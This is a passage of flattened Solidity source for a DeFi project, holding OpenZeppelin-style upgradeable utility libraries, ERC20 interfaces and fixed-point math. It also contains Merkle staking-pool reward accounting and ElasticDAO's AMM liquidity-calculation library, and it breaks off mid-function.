* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IMintableERC20 is IERC20Metadata {
function mint(address _recipient, uint256 _amount) external;
function burnFrom(address account, uint256 amount) external;
function lowerHasMinted(uint256 amount) external;
}
library FixedPointMath {
uint256 public constant DECIMALS = 18;
uint256 public constant SCALAR = 10**DECIMALS;
struct FixedDecimal {
uint256 x;
}
function fromU256(uint256 value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require(value == 0 || (x = value * SCALAR) / SCALAR == value);
return FixedDecimal(x);
}
function maximumValue() internal pure returns (FixedDecimal memory) {
return FixedDecimal(type(uint256).max);
}
function add(FixedDecimal memory self, FixedDecimal memory value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require((x = self.x + value.x) >= self.x);
return FixedDecimal(x);
}
function add(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
return add(self, fromU256(value));
}
function sub(FixedDecimal memory self, FixedDecimal memory value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require((x = self.x - value.x) <= self.x);
return FixedDecimal(x);
}
function sub(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
return sub(self, fromU256(value));
}
function mul(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
uint256 x;
require(value == 0 || (x = self.x * value) / value == self.x);
return FixedDecimal(x);
}
function div(FixedDecimal memory self, uint256 value)
internal
pure
returns (FixedDecimal memory)
{
require(value != 0);
return FixedDecimal(self.x / value);
}
function cmp(FixedDecimal memory self, FixedDecimal memory value)
internal
pure
returns (int256)
{
if (self.x < value.x) {
return -1;
}
if (self.x > value.x) {
return 1;
}
return 0;
}
function decode(FixedDecimal memory self) internal pure returns (uint256) {
return self.x / SCALAR;
}
}
/// @title Pool
///
/// @dev A library which provides the Merkle Pool data struct and associated functions.
library MerklePool {
using FixedPointMath for FixedPointMath.FixedDecimal;
using MerklePool for MerklePool.Data;
using MerklePool for MerklePool.List;
struct Context {
uint256 rewardRate;
uint256 totalRewardWeight;
}
struct Data {
address token;
uint256 totalDeposited;
uint256 totalUnclaimedTIC;
uint256 totalUnclaimedTICInLP;
uint256 rewardWeight;
FixedPointMath.FixedDecimal accumulatedRewardWeight;
uint256 lastUpdatedBlockTimestamp;
}
struct List {
Data[] elements;
}
/// @dev Updates the pool.
///
/// @param _ctx the pool context.
function update(Data storage _data, Context storage _ctx) internal {
_data.accumulatedRewardWeight = _data.getUpdatedAccumulatedRewardWeight(
_ctx
);
// TODO: make this more gas efficient! we calc it twice!
_data.totalUnclaimedTIC = _data.getUpdatedTotalUnclaimed(_ctx);
_data.lastUpdatedBlockTimestamp = block.timestamp;
}
/// @dev Gets the rate at which the pool will distribute rewards to stakers.
///
/// @param _ctx the pool context.
///
/// @return the reward rate of the pool in tokens per second.
function getRewardRate(Data storage _data, Context storage _ctx)
internal
view
returns (uint256)
{
if (_ctx.totalRewardWeight == 0) {
return 0;
}
return (_ctx.rewardRate * _data.rewardWeight) / _ctx.totalRewardWeight;
}
/// @dev Gets the accumulated reward weight of a pool.
///
/// @param _ctx the pool context.
///
/// @return the accumulated reward weight.
function getUpdatedAccumulatedRewardWeight(
Data storage _data,
Context storage _ctx
) internal view returns (FixedPointMath.FixedDecimal memory) {
if (_data.totalDeposited == 0) {
return _data.accumulatedRewardWeight;
}
uint256 amountToDistribute = _data.getUpdatedAmountToDistribute(_ctx);
if (amountToDistribute == 0) {
return _data.accumulatedRewardWeight;
}
FixedPointMath.FixedDecimal memory rewardWeight =
FixedPointMath.fromU256(amountToDistribute).div(
_data.totalDeposited
);
return _data.accumulatedRewardWeight.add(rewardWeight);
}
/**
* @dev get's the total amount to distribute in this pool based on the last updated timestamp.
* @param _data pool's data
* @param _ctx the pool context
*/
function getUpdatedAmountToDistribute(
Data storage _data,
Context storage _ctx
) internal view returns (uint256) {
uint256 elapsedTime = block.timestamp - _data.lastUpdatedBlockTimestamp;
if (elapsedTime == 0) {
return 0;
}
uint256 rewardRate = _data.getRewardRate(_ctx);
return rewardRate * elapsedTime;
}
/**
* @dev get's the total amount unclaimed in this pool based on the last updated timestamp.
* @param _data pool's data
* @param _ctx the pool context
*/
function getUpdatedTotalUnclaimed(Data storage _data, Context storage _ctx)
internal
view
returns (uint256)
{
if (_data.totalDeposited == 0) {
return _data.totalUnclaimedTIC;
}
return
_data.totalUnclaimedTIC + _data.getUpdatedAmountToDistribute(_ctx);
}
/// @dev Adds an element to the list.
///
/// @param _element the element to add.
function push(List storage _self, Data memory _element) internal {
_self.elements.push(_element);
}
/// @dev Gets an element from the list.
///
/// @param _index the index in the list.
///
/// @return the element at the specified index.
function get(List storage _self, uint256 _index)
internal
view
returns (Data storage)
{
require(_index < _self.elements.length, "MerklePool: INVALID_INDEX");
return _self.elements[_index];
}
/// @dev Gets the last element in the list.
///
/// This function will revert if there are no elements in the list.
///ck
/// @return the last element in the list.
function last(List storage _self) internal view returns (Data storage) {
return _self.elements[_self.lastIndex()];
}
/// @dev Gets the index of the last element in the list.
///
/// This function will revert if there are no elements in the list.
///
/// @return the index of the last element.
function lastIndex(List storage _self) internal view returns (uint256) {
return _self.length() - 1;
}
/// @dev Gets the number of elements in the list.
///
/// @return the number of elements.
function length(List storage _self) internal view returns (uint256) {
return _self.elements.length;
}
}
/// @title Stake
///
/// @dev A library which provides the Stake data struct and associated functions.
library MerkleStake {
using FixedPointMath for FixedPointMath.FixedDecimal;
using MerklePool for MerklePool.Data;
using MerkleStake for MerkleStake.Data;
struct Data {
uint256 totalDeposited;
uint256 totalUnrealized;
uint256 totalRealizedTIC;
uint256 totalRealizedLP;
FixedPointMath.FixedDecimal lastAccumulatedWeight;
}
function update(
Data storage _self,
MerklePool.Data storage _pool,
MerklePool.Context storage _ctx
) internal {
_self.totalUnrealized = _self.getUpdatedTotalUnclaimed(_pool, _ctx);
_self.lastAccumulatedWeight = _pool.getUpdatedAccumulatedRewardWeight(
_ctx
);
}
function getUpdatedTotalUnclaimed(
Data storage _self,
MerklePool.Data storage _pool,
MerklePool.Context storage _ctx
) internal view returns (uint256) {
FixedPointMath.FixedDecimal memory currentAccumulatedWeight =
_pool.getUpdatedAccumulatedRewardWeight(_ctx);
FixedPointMath.FixedDecimal memory lastAccumulatedWeight =
_self.lastAccumulatedWeight;
if (currentAccumulatedWeight.cmp(lastAccumulatedWeight) == 0) {
return _self.totalUnrealized;
}
uint256 amountToDistribute =
currentAccumulatedWeight
.sub(lastAccumulatedWeight)
.mul(_self.totalDeposited)
.decode();
return _self.totalUnrealized + amountToDistribute;
}
}
/**
* @dev Represents all storage for our MerklePools contract for easy upgrading later
*/
contract MerklePoolsStorage {
IMintableERC20 public ticToken; // token which will be minted as a reward for staking.
uint256 public excessTICFromSlippage; // extra TIC that can be used before next mint
address public quoteToken; // other half of the LP token (not the reward token)
address public elasticLPToken; // elastic LP token we create to emit for claimed rewards
address public governance;
address public pendingGovernance;
address public forfeitAddress; // receives all unclaimed TIC when someone exits
bytes32 public merkleRoot;
bool public isClaimsEnabled; // disabled flag until first merkle proof is set.
// Tokens are mapped to their pool identifier plus one. Tokens that do not have an associated pool
// will return an identifier of zero.
mapping(address => uint256) public tokenPoolIds;
MerklePool.Context public poolContext; // The context shared between the pools.
MerklePool.List internal pools; // A list of all of the pools.
// mapping of all of the user stakes mapped first by pool and then by address.
mapping(address => mapping(uint256 => MerkleStake.Data)) public stakes;
}
/**
* @title MathLib
* @author ElasticDAO
*/
library MathLib {
struct InternalBalances {
// x*y=k - we track these internally to compare to actual balances of the ERC20's
// in order to calculate the "decay" or the amount of balances that are not
// participating in the pricing curve and adding additional liquidity to swap.
uint256 baseTokenReserveQty; // x
uint256 quoteTokenReserveQty; // y
uint256 kLast; // as of the last add / rem liquidity event
}
// aids in avoiding stack too deep errors.
struct TokenQtys {
uint256 baseTokenQty;
uint256 quoteTokenQty;
uint256 liquidityTokenQty;
uint256 liquidityTokenFeeQty;
}
uint256 public constant BASIS_POINTS = 10000;
uint256 public constant WAD = 1e18; // represent a decimal with 18 digits of precision
/**
* @dev divides two float values, required since solidity does not handle
* floating point values.
*
* inspiration: https://github.com/dapphub/ds-math/blob/master/src/math.sol
*
* NOTE: this rounds to the nearest integer (up or down). For example .666666 would end up
* rounding to .66667.
*
* @return uint256 wad value (decimal with 18 digits of precision)
*/
function wDiv(uint256 a, uint256 b) public pure returns (uint256) {
return ((a * WAD) + (b / 2)) / b;
}
/**
* @dev rounds a integer (a) to the nearest n places.
* IE roundToNearest(123, 10) would round to the nearest 10th place (120).
*/
function roundToNearest(uint256 a, uint256 n)
public
pure
returns (uint256)
{
return ((a + (n / 2)) / n) * n;
}
/**
* @dev multiplies two float values, required since solidity does not handle
* floating point values
*
* inspiration: https://github.com/dapphub/ds-math/blob/master/src/math.sol
*
* @return uint256 wad value (decimal with 18 digits of precision)
*/
function wMul(uint256 a, uint256 b) public pure returns (uint256) {
return ((a * b) + (WAD / 2)) / WAD;
}
/**
* @dev calculates an absolute diff between two integers. Basically the solidity
* equivalent of Math.abs(a-b);
*/
function diff(uint256 a, uint256 b) public pure returns (uint256) {
if (a >= b) {
return a - b;
}
return b - a;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 x) public pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/**
* @dev defines the amount of decay needed in order for us to require a user to handle the
* decay prior to a double asset entry as the equivalent of 1 unit of quote token
*/
function isSufficientDecayPresent(
uint256 _baseTokenReserveQty,
InternalBalances memory _internalBalances
) public pure returns (bool) {
return (wDiv(
diff(_baseTokenReserveQty, _internalBalances.baseTokenReserveQty) *
WAD,
wDiv(
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
)
) >= WAD); // the amount of base token (a) decay is greater than 1 unit of quote token (token b)
}
/**
* @dev used to calculate the qty of token a liquidity provider
* must add in order to maintain the current reserve ratios
* @param _tokenAQty base or quote token qty to be supplied by the liquidity provider
* @param _tokenAReserveQty current reserve qty of the base or quote token (same token as tokenA)
* @param _tokenBReserveQty current reserve qty of the other base or quote token (not tokenA)
*/
function calculateQty(
uint256 _tokenAQty,
uint256 _tokenAReserveQty,
uint256 _tokenBReserveQty
) public pure returns (uint256 tokenBQty) {
require(_tokenAQty != 0, "MathLib: INSUFFICIENT_QTY");
require(
_tokenAReserveQty != 0 && _tokenBReserveQty != 0,
"MathLib: INSUFFICIENT_LIQUIDITY"
);
tokenBQty = (_tokenAQty * _tokenBReserveQty) / _tokenAReserveQty;
}
/**
* @dev used to calculate the qty of token a trader will receive (less fees)
* given the qty of token A they are providing
* @param _tokenASwapQty base or quote token qty to be swapped by the trader
* @param _tokenAReserveQty current reserve qty of the base or quote token (same token as tokenA)
* @param _tokenBReserveQty current reserve qty of the other base or quote token (not tokenA)
* @param _liquidityFeeInBasisPoints fee to liquidity providers represented in basis points
*/
function calculateQtyToReturnAfterFees(
uint256 _tokenASwapQty,
uint256 _tokenAReserveQty,
uint256 _tokenBReserveQty,
uint256 _liquidityFeeInBasisPoints
) public pure returns (uint256 qtyToReturn) {
uint256 tokenASwapQtyLessFee =
_tokenASwapQty * (BASIS_POINTS - _liquidityFeeInBasisPoints);
qtyToReturn =
(tokenASwapQtyLessFee * _tokenBReserveQty) /
((_tokenAReserveQty * BASIS_POINTS) + tokenASwapQtyLessFee);
}
/**
* @dev used to calculate the qty of liquidity tokens (deltaRo) we will be issued to a supplier
* of a single asset entry when base token decay is present.
* @param _baseTokenReserveBalance the total balance (external) of base tokens in our pool (Alpha)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _tokenQtyAToAdd the amount of tokens being added by the caller to remove the current decay
* @param _internalTokenAReserveQty the internal balance (X or Y) of token A as a result of this transaction
* @param _omega - ratio of internal balances of baseToken and quoteToken: baseToken/quoteToken
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateLiquidityTokenQtyForSingleAssetEntryWithBaseTokenDecay(
uint256 _baseTokenReserveBalance,
uint256 _totalSupplyOfLiquidityTokens,
uint256 _tokenQtyAToAdd,
uint256 _internalTokenAReserveQty,
uint256 _omega
) public pure returns (uint256 liquidityTokenQty) {
/**
(is the formula in the terms of quoteToken)
ΔY
= ---------------------
Alpha/Omega + Y'
*/
uint256 wRatio = wDiv(_baseTokenReserveBalance, _omega);
uint256 denominator = wRatio + _internalTokenAReserveQty;
uint256 wGamma = wDiv(_tokenQtyAToAdd, denominator);
liquidityTokenQty =
wDiv(
wMul(_totalSupplyOfLiquidityTokens * WAD, wGamma),
WAD - wGamma
) /
WAD;
}
/**
* @dev used to calculate the qty of liquidity tokens (deltaRo) we will be issued to a supplier
* of a single asset entry when quote decay is present.
* @param _baseTokenReserveBalance the total balance (external) of base tokens in our pool (Alpha)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _tokenQtyAToAdd the amount of tokens being added by the caller to remove the current decay
* @param _internalTokenAReserveQty the internal balance (X or Y) of token A as a result of this transaction
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateLiquidityTokenQtyForSingleAssetEntryWithQuoteTokenDecay(
uint256 _baseTokenReserveBalance,
uint256 _totalSupplyOfLiquidityTokens,
uint256 _tokenQtyAToAdd,
uint256 _internalTokenAReserveQty
) public pure returns (uint256 liquidityTokenQty) {
/**
ΔX
= ------------------- / (denominator may be Alpha' instead of X)
X + (Alpha + ΔX)
*/
uint256 denominator =
_internalTokenAReserveQty +
_baseTokenReserveBalance +
_tokenQtyAToAdd;
uint256 wGamma = wDiv(_tokenQtyAToAdd, denominator);
liquidityTokenQty =
wDiv(
wMul(_totalSupplyOfLiquidityTokens * WAD, wGamma),
WAD - wGamma
) /
WAD;
}
/**
* @dev used to calculate the qty of liquidity tokens (deltaRo) we will be issued to a supplier
* of a single asset entry when decay is present.
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _quoteTokenQty the amount of quote token the user it adding to the pool (deltaB or deltaY)
* @param _quoteTokenReserveBalance the total balance (external) of quote tokens in our pool (Beta)
*
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateLiquidityTokenQtyForDoubleAssetEntry(
uint256 _totalSupplyOfLiquidityTokens,
uint256 _quoteTokenQty,
uint256 _quoteTokenReserveBalance
) public pure returns (uint256 liquidityTokenQty) {
liquidityTokenQty =
(_quoteTokenQty * _totalSupplyOfLiquidityTokens) /
_quoteTokenReserveBalance;
}
/**
* @dev used to calculate the qty of quote token required and liquidity tokens (deltaRo) to be issued
* in order to add liquidity and remove base token decay.
* @param _quoteTokenQtyDesired the amount of quote token the user wants to contribute
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
*
* @return quoteTokenQty qty of quote token the user must supply
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateAddQuoteTokenLiquidityQuantities(
uint256 _quoteTokenQtyDesired,
